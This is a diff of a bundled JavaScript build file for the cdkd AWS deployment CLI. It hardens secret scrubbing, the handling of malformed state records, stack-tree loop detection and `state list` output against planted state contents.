+* `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
+* consumer of a string the resolver owns: a reword there would otherwise make
+* the predicate below silently stop matching and restore the very silence it
+* exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
+* cdkd's OWN output must fail loudly when the format drifts").
+*/
+const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
+/**
+* The prefix a matching message must ALSO carry. Without it the bare tails
+* above are reachable from an unrelated throw: `resolveParameters` raises
+* `Parameter ${name} is required but no value was provided`, so a template
+* parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
+* best-effort miss into a whole-stack refusal.
+*/
+const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
+/**
+* A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
+* the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
+* with no parameter name, or `{{resolve:secretsmanager}}` /
+* `{{resolve:secretsmanager:}}` with no secret id.
+*
+* The resolver raises a bare `Error` for both, so they fall through the
+* typed-refusal test above into the `debug` below and `cdkd scrub` reports the
+* run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
+* in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
+* every remaining `{{resolve:...}}` token in the leaf. A real
+* `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
+* needle — and a legacy plaintext already in `state.json` then survives under
+* `No plaintext secrets found`, exit 0.
+*
+* BOTH spellings are matched, and the second is the DOMINANT one. The first
+* cut matched `PARAMETER_NAME is required` alone, leaving the more common way
+* to write a secret silent — and the fence certified that as deliberate by
+* asserting the marker occurred exactly once in the resolver, which passed
+* precisely BECAUSE the other throw spells it differently.
+*
+* WHY THE SET STOPS AT "is required", having once been widened to the whole
+* `Dynamic reference:` family and reverted. The loop's missing per-token `try`
+* means four SIBLING failures — a deleted SSM parameter, a secret with no
+* `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
+* exactly the same way, so on the surface they belong here. They do not,
+* because scrub resolves with template DEFAULTS and takes no `--parameters`:
+* an `Fn::Sub` that warn-and-KEEPS its raw `${Field}` produces a JSON_KEY miss
+* on a perfectly healthy stack, so refusing on that class refuses ordinary
+* stacks (measured — it reddened
+* `tests/unit/cli/commands/scrub-cross-region-secret.test.ts`). A nameless
+* reference is far narrower: an UNBOUND variable keeps its literal `${...}`
+* rather than vanishing, so ordinary missing-parameter resolution cannot
+* produce one.
+*
+* That is narrower, NOT universal, and the difference is stated rather than
+* glossed: a parameter DECLARED with `Default: ''` binds the empty string
+* verbatim (`isUnboundTemplateParameter` returns false once `Default` is
+* present), so `{{resolve:ssm-secure:${P}}}` assembles to
+* `{{resolve:ssm-secure:}}` and refuses here — while the same stack deploys
+* fine under `--parameters P=/real/name`. The failure is fail-CLOSED (a
+* refusal, never a silent clean run) and the shape is a rare one, so it is
+* accepted rather than worked around; go-to-k/cdkd#3160 carries it alongside
+* the sibling class, which needs a countable unverifiable-leaf finding rather
+* than a refusal.
+*
+* It is a loudness REGRESSION rather than a new gap: before go-to-k/cdkd#2689
+* fixed `ssmParameterName`, this input produced a bogus `secretName` and
+* therefore an `ambiguous` verdict, whose typed error scrub already re-raises.
+* The old, wrong-in-substance refusal was backstopping this one.
+*/
+function isNamelessDynamicReferenceFailure(err) {
+	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
+}
+/**
 * A secrets map with its OWN identity whose entries ARE `target`'s (issue
 * #2531): every read and write goes to `target`; nothing is stored here.
 *
@@ -68511,6 +68749,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			};
 		}
 		const state = loaded.state;
+		let malformedResources;
+		if (opts.dryRun) {
+			if (repairMalformedResourcesForReadOnly(state)) {
+				malformedResources = true;
+				logger.warn(malformedResourcesWarning(stack.stackName, region));
+			}
+		} else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
 		const perResourceTemplateProps = /* @__PURE__ */ new Map();
 		const outputsTemplateSource = {};
 		const resolvers = new ScrubResolvers(region);
@@ -68555,7 +68800,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 		const collisions = [];
 		let outputsSourceUntrusted = false;
 		await withSharedDrainBudget(async () => {
-			for (const logicalId of Object.keys(state.resources)) {
+			for (const logicalId of Object.keys(state.resources ?? {})) {
 				const templateResource = templateResources[logicalId];
 				if (!templateResource?.Properties) continue;
 				const recordedSecretValues = /* @__PURE__ */ new Map();
@@ -68572,7 +68817,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(resolveInput, resourceContext);
 				} catch (err) {
-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
 				}
 				perResourceTemplateProps.set(logicalId, templateResource.Properties);
@@ -68594,7 +68839,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
 				} catch (err) {
-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
 				}
 			}
@@ -68617,7 +68862,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 					try {
 						exportName = await resolver.resolve(nameSource, nameContext);
 					} catch (err) {
-						if (isRegionAmbiguousRefusal(err)) throw err;
+						if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 						nameFailed = true;
 						nameError = err;
 					}
@@ -68655,7 +68900,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(valueSource, valueContext);
 				} catch (err) {
-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
 				}
 			}
@@ -68674,12 +68919,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			secretsFound: 0,
 			secretBearingKeys: secretBearingKeys.length,
 			unverifiableReads: prePassFindings.unverifiable.length,
+			...malformedResources ? { malformedResources } : {},
 			outputs: state.outputs,
 			exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 		};
 		let recordsChanged = 0;
 		const newResources = {};
-		for (const [logicalId, record] of Object.entries(state.resources)) {
+		for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
 			const secrets = perResourceSecrets.get(logicalId);
 			const templateProps = perResourceTemplateProps.get(logicalId);
 			const ownSecrets = secrets ?? /* @__PURE__ */ new Map();
@@ -68722,6 +68968,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			secretsFound: totalSecrets,
 			secretBearingKeys: secretBearingKeys.length,
 			unverifiableReads: prePassFindings.unverifiable.length,
+			...malformedResources ? { malformedResources } : {},
 			outputs: newOutputs,
 			exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 		};
@@ -73542,8 +73789,12 @@ function createStateMigrateCommand() {
 * or destroyed out-of-band) are reported at the root level so they stay
 * visible to `cdkd state list` rather than vanishing silently.
 *
-* A self-link (parent equals self) is treated as a missing parent — the
-* node lands at the root rather than building an infinite tree.
+* Every node on a parent LOOP lands at the root rather than building an
+* infinite tree. A self-link (parent equals self) is the one-node loop. A
+* longer one (A names B, B names A) used to be linked as given, so each member
+* was filed as the other's child, none was a root, and the whole loop vanished
+* from both the text and the JSON view. A node hanging off a loop still sits
+* under its parent, which is now visible (issue #3069).
 *
 * The roots and every child list are sorted alphabetically by `stackName`,
 * then by `region` (legacy `undefined` last), so output is stable across
@@ -73556,14 +73807,27 @@ function buildStackTree(entries) {
 		...entry,
 		children: []
 	});
+	const parentOf = (node) => node.parentStack === void 0 ? void 0 : byKey.get(refKey(node.parentStack, node.parentRegion));
+	const loopMembers = /* @__PURE__ */ new Set();
+	const settled = /* @__PURE__ */ new Set();
+	for (const start of byKey.values()) {
+		const path = [];
+		const onPath = /* @__PURE__ */ new Map();
+		let current = start;
+		while (current !== void 0 && !settled.has(current) && !onPath.has(current)) {
+			onPath.set(current, path.length);
+			path.push(current);
+			current = parentOf(current);
+		}
+		if (current !== void 0 && onPath.has(current)) for (const member of path.slice(onPath.get(current))) loopMembers.add(member);
+		for (const node of path) settled.add(node);
+	}
 	const roots = [];
 	for (const node of byKey.values()) {
-		if (node.parentStack !== void 0) {
-			const parent = byKey.get(refKey(node.parentStack, node.parentRegion));
-			if (parent && parent !== node) {
-				parent.children.push(node);
-				continue;
-			}
+		const parent = parentOf(node);
+		if (parent && !loopMembers.has(node)) {
+			parent.children.push(node);
+			continue;
 		}
 		roots.push(node);
 	}
@@ -77209,14 +77473,81 @@ function createExportCommand() {
 //#endregion
 //#region src/cli/commands/state.ts
 /**
-* Render `Stack` or `Stack (region)` — used by every state subcommand's
-* default output mode and ambiguity error messages.
+* The reasons a `--long` row carries for a failed read. FIXED text, never the
+* caught error's message: `getState`'s invalid-JSON refusal interpolates V8's
+* `SyntaxError`, which quotes bytes of the state body, and anyone with
+* `s3:PutObject` on the bucket chooses those bytes. Sanitizing or truncating
+* that message does not redact it, so a planted plaintext would reach both
+* `--long` and `--long --json` (issue #3069). `cdkd state show` for the one
+* stack is where the specific error is reported.
+*
+* The failure is deliberately not classified further: `getState` wraps a parse
+* refusal, the unsupported-version refusal and an AWS read failure in the same
+* `StateError`, so any finer reason would be a guess about the class.
 */
-function formatStackRef(ref) {
-	return ref.region ? `${ref.stackName} (${ref.region})` : ref.stackName;
+const STATE_READ_FAILED_REASON = "state record could not be read; run `cdkd state show` for the error";
+const LOCK_READ_FAILED_REASON = "lock could not be read; run `cdkd state show` for the error";
+/**
+* The lock reason for a LEGACY row (no region). `cdkd state show` refuses such
+* a record before it reads the lock, so pointing there would send the user to
+* a command that never shows the error.
+*/
+const LEGACY_LOCK_READ_FAILED_REASON = "lock could not be read";
+/**
+* The record-side reason for a record that WAS read but whose `resources` is
+* present and not a JSON object. `parseStateBody` validates nothing inside the
+* root, so `Object.keys` would count a planted string per character or a list
+* per element -- a made-up number, and for a string of millions of characters
+* an array of that many keys, built outside {@link readOrFailure}'s `try`. It
+* reuses `stateReadError` so `resourceCount` stays `null` exactly when a reason
+* is set: the text row never prints `Resources: null`, and the warning counts
+* the row (issue #3069).
+*/
+const RESOURCES_MALFORMED_REASON = "resources is not a JSON object; run `cdkd state show --json` to see the record";
+/**
+* A record's resource count, or `null` when its `resources` is not a JSON
+* object ({@link RESOURCES_MALFORMED_REASON}). An absent or `null` bag counts
+* as zero, the tolerance `docs/cli-state.md` documents for it.
+*/
+function resourceCountOrNull(resources) {
+	if (resources === void 0 || resources === null) return 0;
+	if (typeof resources !== "object" || Array.isArray(resources)) return null;
+	return Object.keys(resources).length;
 }
 /**
-* {@link formatStackRef} for a sentence a CONFIRMATION PROMPT renders.
+* Run one read and report whether it threw, WITHOUT keeping the error. The
+* error is dropped on purpose ({@link STATE_READ_FAILED_REASON} says why): a
+* caller that never holds it cannot copy it into a row.
+*/
+async function readOrFailure(read) {
+	try {
+		return {
+			ok: true,
+			value: await read()
+		};
+	} catch {
+		return { ok: false };
+	}
+}
+/**
+* A record's `lastModified` as an ISO string, or `null` when it is not a
+* timestamp `Date` can represent. `parseStateBody` does not validate the
+* field, and `toISOString()` THROWS a `RangeError` for any number outside
+* JavaScript's date range (`1e300`, `NaN`-producing values, `-1e20`). That
+* throw sits AFTER {@link readOrFailure} reported success, so without this
+* check one planted record would still reject the whole `--long` listing
+* (issue #3069, security review).
+*/
+function isoTimestampOrNull(value) {
+	if (typeof value !== "number" || !Number.isFinite(value)) return null;
+	const date = new Date(value);
+	return Number.isNaN(date.getTime()) ? null : date.toISOString();
+}
+/**
+* Render `Stack` or `Stack (region)` for a line a terminal renders: a
+* CONFIRMATION PROMPT's sentence, and every `state list` text view -- the
+* default one-reference-per-line listing and the `--long` / `--tree` rows
+* (issue #3069). The unsanitized twin it replaced lost its last caller there.
 *
 * Both halves come from an S3 key segment (or, for a legacy record, a state
 * body), so both are attacker-influenced in exactly the way issue #2170 round
@@ -77374,7 +77705,7 @@ async function stateListCommand(options) {
 			return;
 		}
 		if (!options.long && !options.json) {
-			for (const ref of refs) process.stdout.write(`${formatStackRef(ref)}\n`);
+			for (const ref of refs) process.stdout.write(`${formatStackRefSafe(ref)}\n`);
 			return;
 		}
 		if (options.json && !options.long) {
@@ -77387,30 +77718,35 @@ async function stateListCommand(options) {
 		}
 		const details = await Promise.all(refs.map(async (ref) => {
 			const lookupRegion = ref.region ?? "";
-			const [stateResult, locked] = await Promise.all([lookupRegion ? setup.stateBackend.getState(ref.stackName, lookupRegion) : Promise.resolve(null), setup.lockManager.isLocked(ref.stackName, ref.region)]);
-			const state = stateResult?.state;
+			const [stateRead, lockRead] = await Promise.all([readOrFailure(() => lookupRegion ? setup.stateBackend.getState(ref.stackName, lookupRegion) : Promise.resolve(null)), readOrFailure(() => setup.lockManager.isLocked(ref.stackName, ref.region))]);
+			const state = stateRead.ok ? stateRead.value?.state : void 0;
+			const resourceCount = !stateRead.ok ? null : state ? resourceCountOrNull(state.resources) : 0;
 			return {
 				stackName: ref.stackName,
 				region: ref.region ?? null,
-				resourceCount: state ? Object.keys(state.resources ?? {}).length : 0,
-				lastModified: state && typeof state.lastModified === "number" ? new Date(state.lastModified).toISOString() : null,
-				locked
+				resourceCount,
+				lastModified: state ? isoTimestampOrNull(state.lastModified) : null,
+				locked: lockRead.ok ? lockRead.value : null,
+				stateReadError: !stateRead.ok ? STATE_READ_FAILED_REASON : resourceCount === null ? RESOURCES_MALFORMED_REASON : null,
+				lockReadError: lockRead.ok ? null : ref.region ? LOCK_READ_FAILED_REASON : LEGACY_LOCK_READ_FAILED_REASON
 			};
 		}));
+		const degraded = details.filter((d) => d.stateReadError !== null || d.lockReadError !== null);
+		if (degraded.length > 0) logger.warn(`${degraded.length} of ${details.length} stack(s) could not be fully read or counted; their rows say why.`);
 		if (options.json) {
 			process.stdout.write(`${JSON.stringify(details, null, 2)}\n`);
 			return;
 		}
 		const lines = [];
 		for (const detail of details) {
-			lines.push(formatStackRef({
+			lines.push(formatStackRefSafe({
 				stackName: detail.stackName,
 				...detail.region ? { region: detail.region } : {}
 			}));
-			lines.push(`  Region: ${detail.region ?? "(legacy)"}`);
-			lines.push(`  Resources: ${detail.resourceCount}`);
+			lines.push(`  Region: ${detail.region === null ? "(legacy)" : safe$1(detail.region)}`);
+			lines.push(`  Resources: ${detail.stateReadError !== null ? `unknown (${detail.stateReadError})` : String(detail.resourceCount)}`);
 			lines.push(`  Last Modified: ${detail.lastModified ?? "unknown"}`);
-			lines.push(`  Lock: ${detail.locked ? "locked" : "unlocked"}`);
+			lines.push(`  Lock: ${detail.lockReadError !== null ? `unknown (${detail.lockReadError})` : detail.locked ? "locked" : "unlocked"}`);
 			lines.push("");
 		}
 		if (lines.length > 0) {
@@ -77447,12 +77783,13 @@ async function renderTreeMode(refs, stateBackend, asJson) {
 				region: ref.region
 			};
 		}
+		const linkIsValid = typeof state?.parentStack === "string" && (state.parentRegion === void 0 || typeof state.parentRegion === "string");
 		return {
 			stackName: ref.stackName,
 			region: ref.region,
-			...state?.parentStack !== void 0 && { parentStack: state.parentStack },
-			...state?.parentLogicalId !== void 0 && { parentLogicalId: state.parentLogicalId },
-			...state?.parentRegion !== void 0 && { parentRegion: state.parentRegion }
+			...linkIsValid && { parentStack: state.parentStack },
+			...linkIsValid && typeof state?.parentLogicalId === "string" && { parentLogicalId: state.parentLogicalId },
+			...linkIsValid && typeof state?.parentRegion === "string" && { parentRegion: state.parentRegion }
 		};
 	}));
 	const roots = buildStackTree(entries);
@@ -77461,7 +77798,7 @@ async function renderTreeMode(refs, stateBackend, asJson) {
 		return;
 	}
 	if (roots.length === 0) return;
-	const rendered = renderStackTreeAscii(roots, (node) => formatStackRef({
+	const rendered = renderStackTreeAscii(roots, (node) => formatStackRefSafe({
 		stackName: node.stackName,
 		...node.region ? { region: node.region } : {}
 	}));
@@ -79020,6 +79357,7 @@ async function rollbackCommand(stackArg, options) {
 			if (!journal || journal.segments.length === 0) throw new Error(`Nothing to roll back for '${safe(stackName)}' (${safe(region)}). Run 'cdkd deploy' to (re)deploy, or 'cdkd destroy' to clean up.`);
 			if (!stateData) throw new Error(`Rollback journal exists for '${safe(stackName)}' (${safe(region)}) but its state.json is missing (keys: ${safe(`${setup.prefix}/${stackName}/${region}`)}/state.json and .../rollback-journal.json). State appears corrupted — inspect the bucket manually.`);
 			const baseState = stateData.state;
+			refuseMalformedState(baseState, stackName, region);
 			const stateResources = { ...baseState.resources };
 			const mintedOrphans = [];
 			const orphanLogicalIds = new Set(options.orphan ?? []);
@@ -81156,7 +81494,7 @@ async function rewriteResourceReferences(state, orphanLogicalIds, providerRegist
 	const rewrites = [];
 	const unresolvable = [];
 	const newResources = {};
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (orphanSet.has(logicalId)) continue;
 		const rewrittenProperties = await rewriteValue(resource.properties, `properties`, logicalId, orphanSet, fetcher, rewrites, unresolvable);
 		const rewrittenAttributes = resource.attributes ? await rewriteValue(resource.attributes, `attributes`, logicalId, orphanSet, fetcher, rewrites, unresolvable) : void 0;
@@ -81491,9 +81829,10 @@ async function orphanCommand(pathArgs, options) {
 			const stateData = await stateBackend.getState(stackInfo.stackName, targetRegion);
 			if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
 			const { state, etag, migrationPending } = stateData;
+			refuseMalformedState(state, stackInfo.stackName, targetRegion);
 			const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
 			if (missing.length > 0) {
-				const have = Object.keys(state.resources).join(", ");
+				const have = Object.keys(state.resources ?? {}).join(", ");
 				throw new Error(`Resource(s) not in state for stack '${stackInfo.stackName}' (${targetRegion}): ${missing.join(", ")}.\nAvailable logical IDs: ${have}`);
 			}
 			const providerRegistry = new ProviderRegistry();
@@ -82069,6 +82408,7 @@ async function importCommand(stackArg, options) {
 		}
 		const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
 		const existingState = existingResult?.state ?? null;
+		if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
 		const existingEtag = existingResult?.etag;
 		const migrationPending = existingResult?.migrationPending ?? false;
 		if (existingState) {
@@ -82077,7 +82417,7 @@ async function importCommand(stackArg, options) {
 			} else {
 				const conflicts = [...overrides.keys()].filter((id) => Object.prototype.hasOwnProperty.call(existingState.resources, id));
 				if (conflicts.length > 0 && !options.force) throw new Error(`Selective import would overwrite resource(s) already in state: ${conflicts.join(", ")}. Pass --force to confirm the overwrite, or remove these IDs from --resource / --resource-mapping.`);
-				const preservedCount = Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length;
+				const preservedCount = Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length;
 				logger.info(`Merging into existing state for ${stackInfo.stackName} (${targetRegion}): preserving ${preservedCount} unlisted resource(s)` + (conflicts.length > 0 ? `, overwriting ${conflicts.length} listed entry(ies)` : ""));
 			}
 		}
@@ -82138,7 +82478,7 @@ async function importCommand(stackArg, options) {
 			}
 			if (!options.yes) {
 				const importedCount = importedRows.length;
-				const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length : 0;
+				const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length : 0;
 				const totalAfter = importedCount + preservedCount;
 				const breakdown = preservedCount > 0 ? ` (${importedCount} new/overwritten + ${preservedCount} preserved)` : "";
 				if (!await confirmPrompt(`Write state for ${stackInfo.stackName} (${targetRegion}) with ${totalAfter} resource(s)${breakdown}?`)) {
@@ -82705,7 +83045,7 @@ function defaultOnlyParameterTemplate(template) {
 */
 async function resolveImportedProperties(stackState, template, region, stateBackend, logger) {
 	const unsafeObservedBaselineLogicalIds = /* @__PURE__ */ new Set();
-	const entries = Object.entries(stackState.resources);
+	const entries = Object.entries(stackState.resources ?? {});
 	if (entries.length === 0) return unsafeObservedBaselineLogicalIds;
 	const resolver = new IntrinsicFunctionResolver(region);
 	let parameters = {};
@@ -83121,7 +83461,7 @@ const NO_RECORDED_SECRETS = /* @__PURE__ */ new Map();
 * [#2828](https://github.com/go-to-k/cdkd/issues/2828)).
 */
 async function captureObservedForImportedResources(stackState, providerRegistry, logger, unsafeObservedBaselineLogicalIds, rebuiltLogicalIds) {
-	const entries = Object.entries(stackState.resources);
+	const entries = Object.entries(stackState.resources ?? {});
 	if (entries.length === 0) return;
 	await Promise.all(entries.map(async ([logicalId, resource]) => {
 		if (resource.observedBaselineRefused === true && !rebuiltLogicalIds.has(logicalId)) {
@@ -92658,4 +92998,4 @@ function buildProgram() {
 
 //#endregion
 export { buildProgram };
-//# sourceMappingURL=program-D30EPjOn.js.map
+//# sourceMappingURL=program-Ckl60p0E.js.map